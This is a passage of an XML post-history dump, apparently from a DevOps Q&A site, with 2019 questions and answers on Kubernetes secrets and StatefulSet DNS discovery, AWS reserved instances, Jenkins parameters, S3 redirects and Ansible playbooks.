  <row Id="24714" PostHistoryTypeId="3" PostId="8470" RevisionGUID="67134566-64cc-4e27-9c35-c3efdd39650b" CreationDate="2019-06-25T21:33:32.630" UserId="13459" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;windows&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24715" PostHistoryTypeId="50" PostId="6689" RevisionGUID="b6ef259e-ec45-4b46-83cc-3b7c3de145c9" CreationDate="2019-06-25T22:00:07.750" UserId="-1" />
  <row Id="24716" PostHistoryTypeId="2" PostId="8471" RevisionGUID="e0f07923-3ba6-42ee-8273-c1548782ef34" CreationDate="2019-06-25T22:35:35.497" UserId="15655" Text="If your use case is Kubernetes, I like [Sealed Secrets][1] &#xD;&#xA;&#xD;&#xA;It is what [Weave Cloud][2] uses to store configuration and do GitOps. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/bitnami-labs/sealed-secrets&#xD;&#xA;  [2]: https://www.weave.works/blog/storing-secure-sealed-secrets-using-gitops" ContentLicense="CC BY-SA 4.0" />
  <row Id="24718" PostHistoryTypeId="2" PostId="8473" RevisionGUID="c7f2f981-397c-4ba1-bd3f-027765847cd4" CreationDate="2019-06-26T07:21:00.217" UserId="11797" Text="I purchased AWS reserved instance by mistake in Mumbai Region. actually, I need that in N.virginia region.&#xD;&#xA;&#xD;&#xA;I contact AWS support center and they told &quot;switching region of AWS reserved instance is not possible&quot;&#xD;&#xA;&#xD;&#xA;Is there any way to switch region? Please help." ContentLicense="CC BY-SA 4.0" />
  <row Id="24719" PostHistoryTypeId="1" PostId="8473" RevisionGUID="c7f2f981-397c-4ba1-bd3f-027765847cd4" CreationDate="2019-06-26T07:21:00.217" UserId="11797" Text="Purchased AWS reserved instance in wrong region" ContentLicense="CC BY-SA 4.0" />
  <row Id="24720" PostHistoryTypeId="3" PostId="8473" RevisionGUID="c7f2f981-397c-4ba1-bd3f-027765847cd4" CreationDate="2019-06-26T07:21:00.217" UserId="11797" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24721" PostHistoryTypeId="2" PostId="8474" RevisionGUID="c6593960-46da-4db7-8268-a10448bf32b9" CreationDate="2019-06-26T07:30:15.470" UserId="11598" Text="If you have done payment of your reserved instance then you are unlucky. now you have only one option **Sell your reserved instance in AWS marketplace**.&#xD;&#xA;&#xD;&#xA;But If you till not done payment then you lucky, I suggest don't do payment till next billing cycle. AWS by default cancel your reserved instance if you don't do payment after the end of the month.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="24727" PostHistoryTypeId="2" PostId="8476" RevisionGUID="8c9eac83-4eeb-4d94-b5e7-b70051ac375a" CreationDate="2019-06-26T14:09:16.967" UserId="5190" Text="I have spent a good amount of time lately looking into the [GoDaddy open-source CRD called ExternalSecrets][1]. It's been pretty good to work with, it keeps the actual secret material in AWS Secrets Manager, and polls for changes. When a change is detected it creates/updates a Secret in your Kubernetes cluster. The only issue I've encountered is that you are mostly limited to using key/value pairs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/godaddy/kubernetes-external-secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="24731" PostHistoryTypeId="2" PostId="8478" RevisionGUID="b2223e77-d4a1-4504-b2e2-655c9065baa4" CreationDate="2019-06-26T19:25:53.733" UserId="9938" Text="I'm newbie in Jenkins.&#xD;&#xA;I've created pipeine with [parameters in Jenkinsfile][1] in git. It works fine.&#xD;&#xA;&#xD;&#xA;Problem is: when I push **new** parameters into `Jenkinsfile`, then press button &quot;Build with Parameters&quot;, there are no new parameters. I will see them only on next build, after step &quot;Declarative: Checkout SCM&quot; will be done.&#xD;&#xA;&#xD;&#xA;I know workaround: add parameter to skip all steps. Then I can run build and skip all steps (except &quot;Declarative: Checkout SCM&quot; of course) and afterwards run build with new parameters.&#xD;&#xA;&#xD;&#xA;Question: is there are some magic URL or other possibility to update parameters from git before build?&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/jenkinsfile/#handling-parameters" ContentLicense="CC BY-SA 4.0" />
  <row Id="24732" PostHistoryTypeId="1" PostId="8478" RevisionGUID="b2223e77-d4a1-4504-b2e2-655c9065baa4" CreationDate="2019-06-26T19:25:53.733" UserId="9938" Text="Jenkins pipeline: do &quot;Declarative: Checkout SCM&quot; step only" ContentLicense="CC BY-SA 4.0" />
  <row Id="24733" PostHistoryTypeId="3" PostId="8478" RevisionGUID="b2223e77-d4a1-4504-b2e2-655c9065baa4" CreationDate="2019-06-26T19:25:53.733" UserId="9938" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24735" PostHistoryTypeId="2" PostId="8480" RevisionGUID="24bc156d-9273-420e-8aaf-702b1773218d" CreationDate="2019-06-27T06:41:56.343" UserId="4907" Text="All cookies and headers are a construct of the HTTP protocol. Kubernetes Services operate on TCP/UDP packets therefore it will pass the payload as-is.&#xD;&#xA;&#xD;&#xA;It is not that there isn't an `nginx.conf` file but rather the configuration is managed via annotations. See this link&#xD;&#xA;https://github.com/kubernetes/ingress-nginx/blob/master/docs/user-guide/nginx-configuration/annotations.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="24736" PostHistoryTypeId="2" PostId="8481" RevisionGUID="aaa73b15-a6fc-472e-8331-95b1be0e0d12" CreationDate="2019-06-27T06:43:20.380" UserId="15650" Text="I am new to DevOps on the Ruby stack. I have Ruby on Rails application. It uses several Rest based service. Each of the services is deployed with Docker. There are no DevOps efforts now. We use Gitlab as SCM, I am assigned to do the DevOps to help the developers. We want to have three environments (development, staging, production). &#xD;&#xA;&#xD;&#xA;  I have set up an AWS Elastic Container Registry to host docker images. Two accounts (DevOps and developers) so that Gitlab CI/CD pipeline can build and upload images when developers commit code in dev, release branch respectively. &#xD;&#xA;&#xD;&#xA;  I am not sure how to handle the developer workflow. e.g. Developers testing the microservices locally. I believe the developers have to pull the images every time they need to test one of the microservices. How will a developer know that an image was updated when some other dev has updated the AWS ECR registry.&#xD;&#xA;&#xD;&#xA;  I am confused. I would like to get some suggestions on how to support the continuous development and do the continuous release for all environments. Any suggestions or pointers to books or courses that I can get more information around this is also helpful.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24737" PostHistoryTypeId="1" PostId="8481" RevisionGUID="aaa73b15-a6fc-472e-8331-95b1be0e0d12" CreationDate="2019-06-27T06:43:20.380" UserId="15650" Text="Ruby and Rest service in Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="24738" PostHistoryTypeId="3" PostId="8481" RevisionGUID="aaa73b15-a6fc-472e-8331-95b1be0e0d12" CreationDate="2019-06-27T06:43:20.380" UserId="15650" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;development-environment&gt;&lt;ruby-on-rails&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24745" PostHistoryTypeId="2" PostId="8484" RevisionGUID="1a37f48b-59dc-4614-aedf-e29ce984e756" CreationDate="2019-06-27T09:43:07.070" UserId="15686" Text="Is there some metadata that I can apply, or some DNS that I can query, such that when a pod is started, the addreses of all the other pods in that statefulset will be somehow made available to the newly started pod? &#xD;&#xA;&#xD;&#xA;I want to run a stateful application (Riak) where every node (pod) in the Riak cluster needs to be aware of the addresses of every other node (pod).&#xD;&#xA;&#xD;&#xA;Using the kubernetes statefulset controller, pods are started one by one. &#xD;&#xA;&#xD;&#xA;I also wonder how I can somehow listen for some event in each Riak pod so that as instances are started, all the preceeding instances will be made aware of the new instance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24746" PostHistoryTypeId="1" PostId="8484" RevisionGUID="1a37f48b-59dc-4614-aedf-e29ce984e756" CreationDate="2019-06-27T09:43:07.070" UserId="15686" Text="kubernetes statefulset - communicate addresses of other pods when pod launches?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24747" PostHistoryTypeId="3" PostId="8484" RevisionGUID="1a37f48b-59dc-4614-aedf-e29ce984e756" CreationDate="2019-06-27T09:43:07.070" UserId="15686" Text="&lt;kubernetes&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24751" PostHistoryTypeId="2" PostId="8486" RevisionGUID="f2d027e8-0562-496f-816b-d5b7ef391ddf" CreationDate="2019-06-27T11:55:30.280" UserId="15689" Text="This will show pod network CIDR which used by `kube-proxy`&#xD;&#xA;```&#xD;&#xA;kubectl cluster-info dump | grep -m 1 cluster-cidr&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24753" PostHistoryTypeId="2" PostId="8488" RevisionGUID="cd868c90-66a5-4076-8fd7-fbdba5c3e385" CreationDate="2019-06-27T12:46:26.277" UserId="13493" Text="I have uploaded my HUGO static site into AWS S3 Bucket. I have also added the domain in cloudrfront.&#xD;&#xA;&#xD;&#xA;The home index.html page works fine, but I cannot access my resources.&#xD;&#xA;For example `https://www.example.com` works fine, but I cannot access `https://www.example.com/posts/`. I have to redirect links to the html file every time.&#xD;&#xA;&#xD;&#xA;On localhost `https://www.example.com/posts/` displays automatically the page ( without redirecting `https://www.example.com/posts/` to `https://www.example.com/posts/index.html`.&#xD;&#xA;&#xD;&#xA;Is there some property in cloudfront or Amazon S3 to replicate the behaviour of localhost and not have to change the links of the site?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24754" PostHistoryTypeId="1" PostId="8488" RevisionGUID="cd868c90-66a5-4076-8fd7-fbdba5c3e385" CreationDate="2019-06-27T12:46:26.277" UserId="13493" Text="Amazon S3 bucket does not redirect folder URLs to index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="24755" PostHistoryTypeId="3" PostId="8488" RevisionGUID="cd868c90-66a5-4076-8fd7-fbdba5c3e385" CreationDate="2019-06-27T12:46:26.277" UserId="13493" Text="&lt;amazon-s3&gt;&lt;go&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24763" PostHistoryTypeId="50" PostId="6129" RevisionGUID="bd9b7544-cc6a-4775-9dba-33c9f309d523" CreationDate="2019-06-27T17:01:55.207" UserId="-1" />
  <row Id="24768" PostHistoryTypeId="2" PostId="8493" RevisionGUID="d09bcf21-52cf-4fda-81a9-0df03b1dbe6c" CreationDate="2019-06-27T21:05:49.830" UserId="15448" Text="In our environment we use Appdynamics and logz.io for all levels of monitoring and it's a best tool,&#xD;&#xA;&#xD;&#xA;Basically it monitor it for all levels,&#xD;&#xA;&#xD;&#xA;1. Databse&#xD;&#xA;2. Application especially works well on Java based services&#xD;&#xA;3. Servers, containers&#xD;&#xA;4. remote services&#xD;&#xA;5. Business transactions&#xD;&#xA;6. service endpoints, etc.,&#xD;&#xA;&#xD;&#xA;Also it monitors all the components like, CPU, Memory, Load average, Network errors per minute, Network utilization, top 10 process usage of CPU and Memory.&#xD;&#xA;&#xD;&#xA;All monitoring you can get it in the graph format." ContentLicense="CC BY-SA 4.0" />
  <row Id="24769" PostHistoryTypeId="2" PostId="8494" RevisionGUID="18b46f3b-08fe-4652-9714-faf3cddaf0f4" CreationDate="2019-06-28T00:23:38.533" UserId="4907" Text="Yes you can by doing a DNS SRV lookup. Here's an example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl run -it srvlookup --image=tutum/dnsutils --rm --restart=Never -- dig SRV jira-headless.default.svc.cluster.local&#xD;&#xA;&#xD;&#xA;; &lt;&lt;&gt;&gt; DiG 9.9.5-3ubuntu0.2-Ubuntu &lt;&lt;&gt;&gt; SRV jira-headless.default.svc.cluster.local&#xD;&#xA;;; global options: +cmd&#xD;&#xA;;; Got answer:&#xD;&#xA;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 56846&#xD;&#xA;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 2&#xD;&#xA;&#xD;&#xA;;; QUESTION SECTION:&#xD;&#xA;;jira-headless.default.svc.cluster.local. IN SRV&#xD;&#xA;&#xD;&#xA;;; ANSWER SECTION:&#xD;&#xA;jira-headless.default.svc.cluster.local. 30 IN SRV 10 50 0 jira-0.jira-headless.default.svc.cluster.local.&#xD;&#xA;jira-headless.default.svc.cluster.local. 30 IN SRV 10 50 0 jira-1.jira-headless.default.svc.cluster.local.&#xD;&#xA;&#xD;&#xA;;; ADDITIONAL SECTION:&#xD;&#xA;jira-0.jira-headless.default.svc.cluster.local.	30 IN A	10.244.11.152&#xD;&#xA;jira-1.jira-headless.default.svc.cluster.local.	30 IN A	10.244.0.188&#xD;&#xA;&#xD;&#xA;;; Query time: 6 msec&#xD;&#xA;;; SERVER: 10.233.0.3#53(10.233.0.3)&#xD;&#xA;;; WHEN: Fri Jun 28 00:18:14 UTC 2019&#xD;&#xA;;; MSG SIZE  rcvd: 143&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the example above I have a headless Service called `jira-headless.` If you pay attention to `ADDITIONAL SECTION:` you'll notice it provides the SRV record in the following format:&#xD;&#xA;&#xD;&#xA;`_service._proto.name. TTL class SRV priority weight port target.`&#xD;&#xA;&#xD;&#xA;Which maps to the Pods (along with their IPs) backing the Service:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;jira-0.jira-headless.default.svc.cluster.local.	30 IN A	10.244.11.152&#xD;&#xA;jira-1.jira-headless.default.svc.cluster.local.	30 IN A	10.244.0.188&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24771" PostHistoryTypeId="2" PostId="8495" RevisionGUID="77c91de6-69a6-4e47-a4e4-78fe240cf6d6" CreationDate="2019-06-28T09:01:32.697" UserId="5251" Text="I have an ansible playbook `add_dns_record.yml` that register the A record and relative PTR of an host to our MS DNS server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - hosts: my_ad_dns&#xD;&#xA;      remote_user: &quot;{{ lookup('env', 'USER') }}@MYDOMAIN.COM&quot;&#xD;&#xA;      gather_facts: false&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Create A record&#xD;&#xA;        win_dns_record:&#xD;&#xA;          computer_name: &quot;{{ inventory_hostname }}&quot;&#xD;&#xA;          name: &quot;{{ dns_a_name }}&quot;&#xD;&#xA;          type: &quot;A&quot;&#xD;&#xA;          value: &quot;{{ dns_ip_address }}&quot;&#xD;&#xA;          zone: &quot;MYDOMAIN.COM&quot;&#xD;&#xA;          state: present&#xD;&#xA;    &#xD;&#xA;      - name: Create PTR&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;I have another playbook `debian_base.yml` used to prepare debian servers:&#xD;&#xA;&#xD;&#xA;    - hosts: debian&#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: install python&#xD;&#xA;          raw: test -e /usr/bin/python || (apt -y update &amp;&amp; apt install -y python-minimal)&#xD;&#xA;    &#xD;&#xA;        - name: Set hostname&#xD;&#xA;          hostname:&#xD;&#xA;            name: &quot;{{ inventory_hostname }}&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        - name: Update repositories cache and install pre-requirements&#xD;&#xA;          apt:&#xD;&#xA;            name: &quot;{{ packages}}&quot;&#xD;&#xA;            update_cache: yes&#xD;&#xA;          vars:&#xD;&#xA;            packages:&#xD;&#xA;            - sudo&#xD;&#xA;            - apt-transport-https&#xD;&#xA;            - cloud-guest-utils&#xD;&#xA;            - open-vm-tools&#xD;&#xA;            - screen&#xD;&#xA;            - dirmngr&#xD;&#xA;            - openjdk-8-jdk-headless&#xD;&#xA;            - dos2unix&#xD;&#xA;            ....&#xD;&#xA;&#xD;&#xA;I want that every debian server deployed using the playbook `debian_base.yml` get registered on the MS DNS.&#xD;&#xA;&#xD;&#xA;I had a look to [`import_playbook`][1] but it doesn't accept variables.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_includes.html#importing-playbooks&#xD;&#xA;&#xD;&#xA;What are the best practices to achieve that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24772" PostHistoryTypeId="1" PostId="8495" RevisionGUID="77c91de6-69a6-4e47-a4e4-78fe240cf6d6" CreationDate="2019-06-28T09:01:32.697" UserId="5251" Text="Ansible nested playbooks with variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="24773" PostHistoryTypeId="3" PostId="8495" RevisionGUID="77c91de6-69a6-4e47-a4e4-78fe240cf6d6" CreationDate="2019-06-28T09:01:32.697" UserId="5251" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24774" PostHistoryTypeId="5" PostId="8484" RevisionGUID="6a43dccc-a703-4431-9240-7c468d9d2989" CreationDate="2019-06-28T12:17:18.180" UserId="15686" Comment="added 1634 characters in body" Text="Is there some metadata that I can apply, or some DNS that I can query, such that when a pod is started, the addreses of all the other pods in that statefulset will be somehow made available to the newly started pod?&#xD;&#xA;&#xD;&#xA;I want to run a stateful application (Riak) where every node (pod) in the Riak cluster needs to be aware of the addresses of every other node (pod).&#xD;&#xA;&#xD;&#xA;Using the kubernetes statefulset controller, pods are started one by one.&#xD;&#xA;&#xD;&#xA;I also wonder how I can somehow listen for some event in each Riak pod so that as instances are started, all the preceeding instances will be made aware of the new instance?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Following on from the information provided by @kaizenCoder - I modified the service so it had a configuration of :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;spec:&#xD;&#xA;  clusterIP: None&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I then scaled up to two replicas, exec'd to one of the containers and ran `dig` again as mentioned.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@grafana-0:/usr/share/grafana# dig SRV grafana.default.svc.cluster.local&#xD;&#xA;&#xD;&#xA;; &lt;&lt;&gt;&gt; DiG 9.10.3-P4-Debian &lt;&lt;&gt;&gt; SRV grafana.default.svc.cluster.local&#xD;&#xA;;; global options: +cmd&#xD;&#xA;;; Got answer:&#xD;&#xA;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27002&#xD;&#xA;;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 3&#xD;&#xA;;; WARNING: recursion requested but not available&#xD;&#xA;&#xD;&#xA;;; OPT PSEUDOSECTION:&#xD;&#xA;; EDNS: version: 0, flags:; udp: 4096&#xD;&#xA;;; QUESTION SECTION:&#xD;&#xA;;grafana.default.svc.cluster.local. IN  SRV&#xD;&#xA;&#xD;&#xA;;; ANSWER SECTION:&#xD;&#xA;grafana.default.svc.cluster.local. 5 IN SRV     0 50 55555 10-1-0-77.grafana.default.svc.cluster.local.&#xD;&#xA;grafana.default.svc.cluster.local. 5 IN SRV     0 50 55555 10-1-0-78.grafana.default.svc.cluster.local.&#xD;&#xA;&#xD;&#xA;;; ADDITIONAL SECTION:&#xD;&#xA;10-1-0-78.grafana.default.svc.cluster.local. 5 IN A 10.1.0.78&#xD;&#xA;10-1-0-77.grafana.default.svc.cluster.local. 5 IN A 10.1.0.77&#xD;&#xA;&#xD;&#xA;;; Query time: 0 msec&#xD;&#xA;;; SERVER: 10.96.0.10#53(10.96.0.10)&#xD;&#xA;;; WHEN: Fri Jun 28 12:12:32 UTC 2019&#xD;&#xA;;; MSG SIZE  rcvd: 372&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Much better - but unlike @kaizenCoder - I don't get back a name for each of the pods - it just uses the IP address - the names don't match - I would have expected the first pod to have had a name of `grafana-0.grafana.default.svc.cluster.local` - that nodes hostname is correct though - `grafana-0`.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to get the DNS to match the hostname ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24775" PostHistoryTypeId="5" PostId="8484" RevisionGUID="f2b1156e-62b6-41f7-bf44-0ca6ea25d430" CreationDate="2019-06-28T12:29:47.760" UserId="15686" Comment="added 537 characters in body" Text="Is there some metadata that I can apply, or some DNS that I can query, such that when a pod is started, the addreses of all the other pods in that statefulset will be somehow made available to the newly started pod?&#xD;&#xA;&#xD;&#xA;I want to run a stateful application (Riak) where every node (pod) in the Riak cluster needs to be aware of the addresses of every other node (pod).&#xD;&#xA;&#xD;&#xA;Using the kubernetes statefulset controller, pods are started one by one.&#xD;&#xA;&#xD;&#xA;I also wonder how I can somehow listen for some event in each Riak pod so that as instances are started, all the preceeding instances will be made aware of the new instance?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Following on from the information provided by @kaizenCoder - I modified the service so it had a configuration of :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;spec:&#xD;&#xA;  clusterIP: None&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I then scaled up to two replicas, exec'd to one of the containers and ran `dig` again as mentioned.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@grafana-0:/usr/share/grafana# dig SRV grafana.default.svc.cluster.local&#xD;&#xA;&#xD;&#xA;; &lt;&lt;&gt;&gt; DiG 9.10.3-P4-Debian &lt;&lt;&gt;&gt; SRV grafana.default.svc.cluster.local&#xD;&#xA;;; global options: +cmd&#xD;&#xA;;; Got answer:&#xD;&#xA;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27002&#xD;&#xA;;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 3&#xD;&#xA;;; WARNING: recursion requested but not available&#xD;&#xA;&#xD;&#xA;;; OPT PSEUDOSECTION:&#xD;&#xA;; EDNS: version: 0, flags:; udp: 4096&#xD;&#xA;;; QUESTION SECTION:&#xD;&#xA;;grafana.default.svc.cluster.local. IN  SRV&#xD;&#xA;&#xD;&#xA;;; ANSWER SECTION:&#xD;&#xA;grafana.default.svc.cluster.local. 5 IN SRV     0 50 55555 10-1-0-77.grafana.default.svc.cluster.local.&#xD;&#xA;grafana.default.svc.cluster.local. 5 IN SRV     0 50 55555 10-1-0-78.grafana.default.svc.cluster.local.&#xD;&#xA;&#xD;&#xA;;; ADDITIONAL SECTION:&#xD;&#xA;10-1-0-78.grafana.default.svc.cluster.local. 5 IN A 10.1.0.78&#xD;&#xA;10-1-0-77.grafana.default.svc.cluster.local. 5 IN A 10.1.0.77&#xD;&#xA;&#xD;&#xA;;; Query time: 0 msec&#xD;&#xA;;; SERVER: 10.96.0.10#53(10.96.0.10)&#xD;&#xA;;; WHEN: Fri Jun 28 12:12:32 UTC 2019&#xD;&#xA;;; MSG SIZE  rcvd: 372&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Much better - but unlike @kaizenCoder - I don't get back a name for each of the pods - it just uses the IP address - the names don't match - I would have expected the first pod to have had a name of `grafana-0.grafana.default.svc.cluster.local` - that nodes hostname is correct though - `grafana-0`.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to get the DNS to match the hostname ?&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Update again - more weirdness - the other pods don't seem to be resolvable by hostname.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@grafana-0:/usr/share/grafana# ping grafana-1&#xD;&#xA;ping: unknown host&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Presumably hostname only resolves in the pod as hostname resolves to 127.0.0.1 ... Which makes it a bit worthless tbh.&#xD;&#xA;&#xD;&#xA;I feel like I've made some progress but still missing a piece. When a container starts up, how can software within it resolve : &#xD;&#xA;&#xD;&#xA;1. It's own fully qualified name &#xD;&#xA;2. The fully qualified names of all the other statefulset pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="24776" PostHistoryTypeId="5" PostId="8484" RevisionGUID="c12fee65-135d-4d12-83c3-62a2d741f5fa" CreationDate="2019-06-28T12:38:03.560" UserId="15686" Comment="added 479 characters in body" Text="Is there some metadata that I can apply, or some DNS that I can query, such that when a pod is started, the addreses of all the other pods in that statefulset will be somehow made available to the newly started pod?&#xD;&#xA;&#xD;&#xA;I want to run a stateful application (Riak) where every node (pod) in the Riak cluster needs to be aware of the addresses of every other node (pod).&#xD;&#xA;&#xD;&#xA;Using the kubernetes statefulset controller, pods are started one by one.&#xD;&#xA;&#xD;&#xA;I also wonder how I can somehow listen for some event in each Riak pod so that as instances are started, all the preceeding instances will be made aware of the new instance?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Following on from the information provided by @kaizenCoder - I modified the service so it had a configuration of :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;spec:&#xD;&#xA;  clusterIP: None&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I then scaled up to two replicas, exec'd to one of the containers and ran `dig` again as mentioned.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@grafana-0:/usr/share/grafana# dig SRV grafana.default.svc.cluster.local&#xD;&#xA;&#xD;&#xA;; &lt;&lt;&gt;&gt; DiG 9.10.3-P4-Debian &lt;&lt;&gt;&gt; SRV grafana.default.svc.cluster.local&#xD;&#xA;;; global options: +cmd&#xD;&#xA;;; Got answer:&#xD;&#xA;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27002&#xD;&#xA;;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 3&#xD;&#xA;;; WARNING: recursion requested but not available&#xD;&#xA;&#xD;&#xA;;; OPT PSEUDOSECTION:&#xD;&#xA;; EDNS: version: 0, flags:; udp: 4096&#xD;&#xA;;; QUESTION SECTION:&#xD;&#xA;;grafana.default.svc.cluster.local. IN  SRV&#xD;&#xA;&#xD;&#xA;;; ANSWER SECTION:&#xD;&#xA;grafana.default.svc.cluster.local. 5 IN SRV     0 50 55555 10-1-0-77.grafana.default.svc.cluster.local.&#xD;&#xA;grafana.default.svc.cluster.local. 5 IN SRV     0 50 55555 10-1-0-78.grafana.default.svc.cluster.local.&#xD;&#xA;&#xD;&#xA;;; ADDITIONAL SECTION:&#xD;&#xA;10-1-0-78.grafana.default.svc.cluster.local. 5 IN A 10.1.0.78&#xD;&#xA;10-1-0-77.grafana.default.svc.cluster.local. 5 IN A 10.1.0.77&#xD;&#xA;&#xD;&#xA;;; Query time: 0 msec&#xD;&#xA;;; SERVER: 10.96.0.10#53(10.96.0.10)&#xD;&#xA;;; WHEN: Fri Jun 28 12:12:32 UTC 2019&#xD;&#xA;;; MSG SIZE  rcvd: 372&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Much better - but unlike @kaizenCoder - I don't get back a name for each of the pods - it just uses the IP address - the names don't match - I would have expected the first pod to have had a name of `grafana-0.grafana.default.svc.cluster.local` - that nodes hostname is correct though - `grafana-0`.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to get the DNS to match the hostname ?&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Update again - more weirdness - the other pods don't seem to be resolvable by hostname.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@grafana-0:/usr/share/grafana# ping grafana-1&#xD;&#xA;ping: unknown host&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Presumably hostname only resolves in the pod as hostname resolves to 127.0.0.1 ... Which makes it a bit worthless tbh.&#xD;&#xA;&#xD;&#xA;I feel like I've made some progress but still missing a piece. When a container starts up, how can software within it resolve : &#xD;&#xA;&#xD;&#xA;1. It's own fully qualified name &#xD;&#xA;2. The fully qualified names of all the other statefulset pods&#xD;&#xA;&#xD;&#xA;I could do something like this to determine the node name and the other node names but it feels ugly.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@grafana-0:/usr/share/grafana# dig SRV *.default.svc.cluster.local | grep 0-77 &#xD;&#xA;*.default.svc.cluster.local. 5  IN      SRV     0 11 55555 10-1-0-77.grafana.default.svc.cluster.local.&#xD;&#xA;10-1-0-77.grafana.default.svc.cluster.local. 5 IN A 10.1.0.77&#xD;&#xA;root@grafana-0:/usr/share/grafana# ip addr | grep eth0 | grep inet&#xD;&#xA;    inet 10.1.0.77/16 scope global eth0&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24778" PostHistoryTypeId="2" PostId="8497" RevisionGUID="963a9b4e-b5f6-4aa6-a948-90a7d1f1f825" CreationDate="2019-06-28T18:30:56.997" UserId="15732" Text="Is there a way to exclude a parameter entirely if a variable is *not* set?  I do not want to use a default value for this, I simply do not way the parameter referenced at all.&#xD;&#xA;&#xD;&#xA;For example,&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: manage_aix_lvm | creating new VG&#xD;&#xA;  # https://docs.ansible.com/ansible/latest/modules/aix_lvg_module.html#aix-lvg-module&#xD;&#xA;  aix_lvg:&#xD;&#xA;    force: &quot;{{ item.force | default('no') }}&quot;&#xD;&#xA;    pp_size: &quot;{{ item.ppsize }}&quot;&#xD;&#xA;    pvs: &quot;{{ item.disks | join(',') }}&quot;&#xD;&#xA;    vg: &quot;{{ item.vgname }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;  become: true&#xD;&#xA;  loop: &quot;{{ lvm_groups }}&quot;&#xD;&#xA; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the event that variable item.ppsize is *not* set I want to exclude that entire parameter from being included.  The reason for this is that this is an optional parameter, and if not set, the Operating System will automatically calculate the value.&#xD;&#xA;&#xD;&#xA;Is this possible within a single task?  Or will I need to create multiple Tasks/Resources to check if item.ppsize is set and redirect to different tasks/resources?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 